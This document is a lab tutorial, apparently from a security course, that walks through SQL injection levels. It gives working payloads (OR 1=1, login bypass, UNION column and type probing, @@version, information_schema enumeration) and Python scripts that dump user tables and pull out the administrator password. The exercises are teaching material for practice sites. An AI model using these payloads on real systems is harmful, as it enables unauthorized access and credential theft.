In SQL injection attacks, user input is used directly in the construction of a subsequent SQL query string sent to the database. The first step of any SQL injection attack is to identify the syntax being used to construct the SQL string and to break it. Strings are typically denoted in a programming language via the single-quote or the double-quote character. One of the strategies an automated scanning tool such as sqlmap will do is try out these characters all over a web application to see if anything breaks.
In this level, we are given an example of the SQL statement that is used to query the backend database:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Note that the category string is denoted with single-quotes.
Visit the level's web site and click on the Gifts category. Note that if the category does not exist on your level, you can replace Gifts with an alternate one for this and subsequent levels.
View the category string that appears in the URL. The program below performs the same request as above. Note that for the category string we use triple double-quotes to denote the string so that we do not have to escape out the single-quote or double-quote characters when attempting to perform the SQL injection attack. Run the program and ensure you obtain the same output.
def try_category(category_string):
url = f'https://{site}/filter?category={category_string}'
resp = s.get(url)
print(resp.text)
s = requests.Session()
try_category("""Gifts""")Go back to the web site and select the Gifts category. In the URL, replace Gifts with a double-quote character and load the resulting page.
Then, replace the category string with a single-quote character and load the resulting page.
Re-run the Python script above using a single-quote character as the category to ensure you obtain the same output.
try_category("""'""")The canonical SQL injection attack breaks SQL query syntax and then uses a disjunction on a predicate that is always True to return all rows in a table. In this example, we can return all Gifts (not just the released ones) by performing sending the category Gifts' OR 1=1 -- . The single-quote after the Gifts breaks the query string's syntax allowing the disjunction and the always True predicate (OR 1=1) to trigger to be included in the SQL query. This is followed by the comment characters for SQL (--) which causes the rest of the query string to be ignored by the backend (including the single-quote that closes the category string in the application itself). The statement that is then sent to the SQL database is shown below:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1 -- ' AND released = 1
Modify the Python script above with the appropriate string to solve the level.
One of the more devastating uses for a SQL injection attack is to obtain unauthorized access to an account. This happens when the login form that implements authentication contains a SQL injection vulnerability. Visit the web site and go to the Login page.
Using the method from the previous level, attempt to use either the single-quote or double-quote to break syntax on the two fields of the form. Answer the following questions:
Using the Python script template below, modify it to log in as administrator with a password of foo. The code performs the login and then uses Python's walrus operator (:=) to check to see if the response has a <p> tag with an 'is-warning' class in it. The walrus operator assigns the result to warn if so. The program then prints the text attached to warn if it exists. A successful login will not return this tag, causing the script to simply print the entire response.
s = requests.Session()
url = f'https://{site}/login'
resp = s.get(url)
soup = BeautifulSoup(resp.text,'html.parser')
csrf = soup.find('input', {'name':'csrf'}).get('value')
logindata = {
'csrf' : csrf,
'username' : """<FMI>""",
'password' : """<FMI>"""
}
resp = s.post(url, data=logindata)
soup = BeautifulSoup(resp.text,'html.parser')
if warn := soup.find('p', {'class':'is-warning'}):
print(warn.text)
else:
print(resp.text)Modify the script to perform a SQL injection on the username field that allows you to login as the administrator user.
A SQL injection vulnerability is a doorway that allows an adversary to pull arbitrary information out of the backend database. Key to an adversary's approach is the use of SQL's UNION keyword that instructs SQL to combine table results together.
Tables can only be combined with the UNION keyword if they have an identical number of columns. For example, in the query below, the * denotes that all columns of the products table are returned in the query. If we wish to append another table to these results, we must ensure it has the same number of columns as the products table does.
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
This level can be solved by determining the number of columns in the products table via a brute-force attack that uses a UNION to create a table with a single row of nulls as columns. This table is then appended to the original results. We can vary the number of columns in the table and observe which query succeeds to identify the number of columns in the products table. Adapt the Python script for injecting into the category string to run the following queries in order to determine the number of columns.
try_category("""Gifts' UNION SELECT null -- """)
try_category("""Gifts' UNION SELECT null,null -- """)
try_category("""Gifts' UNION SELECT null,null,null -- """)
try_category("""Gifts' UNION SELECT null,null,null,null -- """)
Because SQL schemas specify strongly typed data, when performing the UNION operation, the two tables must have compatible types in their columns. While in the previous level, we use null values that are compatible with all SQL data types, if we wish to retrieve actual data from the database via the UNION, we must make sure the types in the columns we select match.
After determining the number of columns in a table, we can then use a brute-force attack via UNION queries to identify the data type of each column being returned in a particular query. Consider the UNION in the previous level and assume that the number of columns is 2. In order to test if the first column in the table has a string data type associated with it, we could inject the payload below and see if it returns hello as part of the results.
Gifts' UNION SELECT 'hello',null --
Then, to test if the second column in the table has a string data type, we could inject the following instead and see if it returns hello.
Gifts' UNION SELECT null,'hello' --
Using this technique, the level asks you to use the SQL injection to pass back a particular hint string. The hint can be retrieved via parsing the level's web site:
url= f'https://{site}/'
resp = s.get(url)
soup = BeautifulSoup(resp.text,'html.parser')
hint_text = soup.find(id='hint').get_text().split("'")[1]
print(f"Database needs to retrieve the string {hint_text}")One can then use the code from the previous level, to then include the hint in subsequent queries:
' UNION SELECT '{hint_text}',null,null, ... --
' UNION SELECT null,'{hint_text}',null, ... --
' UNION SELECT null,null,'{hint_text}', ... --
A SQL injection vulnerability is a doorway that allows an adversary to access arbitrary information from other tables. In the category example used previously, we have identified a column in the original query that contained a string. We can now perform a UNION on a different table to return its data alongside the product data. Consider a category query into the products table that only returns two columns containing strings: one for the product's name and one for the product's description. A SQL query to return all products might then contain:
SELECT name,description from products WHERE category = 'Gifts'
If we wish the query to return all username and password values from the table users, we could perform an injection onto the category string that does so using the UNION.
' UNION SELECT username,password from users --
This leads to the query below being executed:
SELECT name,description from products WHERE category = 'Gifts' UNION SELECT username,password from users --
Perform this injection to solve the level. Although it is easiest to pull out the administrator password manually, the Python code below parses the table that is returned and pulls out the administrator credentials automatically.
soup = BeautifulSoup(resp.text,'html.parser')
user_table = soup.find('table').find_all('tr')
admin_entry = [r.find('td').contents for r in user_table if 'administrator' in r.find('th')]
admin_password = admin_entry.pop().pop()An attacker will often perform reconnaissance on a backend database server to find the database software it is running and its version. Special database-specific directives in SQL can be used to return this information. In this case, the @@version directive will output this information. An example that you will need to modify is shown below. Note that a trailing space must be included after the comment character for MySQL database backends.
Gifts' UNION SELECT @@version, ... --
Modify this example to obtain the version of the database server that is running.
One of the issues for the attacker in attempting to perform a SQL injection attack is discovering the names of the tables and columns in the database. Fortunately for attackers, database vendors often make it easy for them to discover this metadata information by implementing well-known tables containing global information about the database. On MySQL and Microsoft SQL servers, a metadata database called information_schema contains table and column information about what it stores. This can be leveraged to turn a simple SQL injection into a full account compromise.
As before, we start with an injection vulnerability on the category parameter. Our first task is to probe the site to determine the number of columns in the underlying query that are returned as well as their data types. This allows us to target a UNION that returns a compatible table.
Gifts' UNION SELECT null -- Gifts' UNION SELECT null,null --
Once we obtain the number of columns, we can then attempt to perform a UNION that retrieves the names of tables (table_name) via the information_schema.tables table. For example, if the number of columns is 3 and the first column returned is known to be a string, the following query would list all of the table names on the server. Note that for clarity of output, we can drop the initial query string (Gifts).
' UNION SELECT table_name,null,null from information_schema.tables --
Adapt the query to find the name of the users table in the database. You may use the Python snippet below that utilizes the regular expression package re to extract the name of the users table programmatically.
import re
soup = BeautifulSoup(resp.text,'html.parser')
user_table = soup.find('table').find('th',string=re.compile('^users')).text
print(f"Found user table of {user_table}")While we now have the name of the user table, we now need to identify the column names for both the usernames and passwords in this table. This can be done by leveraging the information_schema.columns table. As before, if the vulnerable SQL query has 3 columns that are strings, the query below will then return the names of each column in the user_table.
' UNION SELECT column_name,null,null from information_schema.columns WHERE table_name='{user_table}' --
We can easily parse the column names from the output that is returned by the query.
soup = BeautifulSoup(resp.text,'html.parser')
print(resp.text)
username_col = soup.find('table').find('th',text=re.compile('^username')).text
password_col = soup.find('table').find('th',text=re.compile('^password')).text
print(f"Found username column of {username_col}")
print(f"Found password column of {password_col}")Now that we know the user table name and the names of its columns, we can now dump the entire database of users via a query similar to below:
' UNION SELECT {username_col},{password_col} from {user_table} --
Then, use the administrator account to log in and complete the level.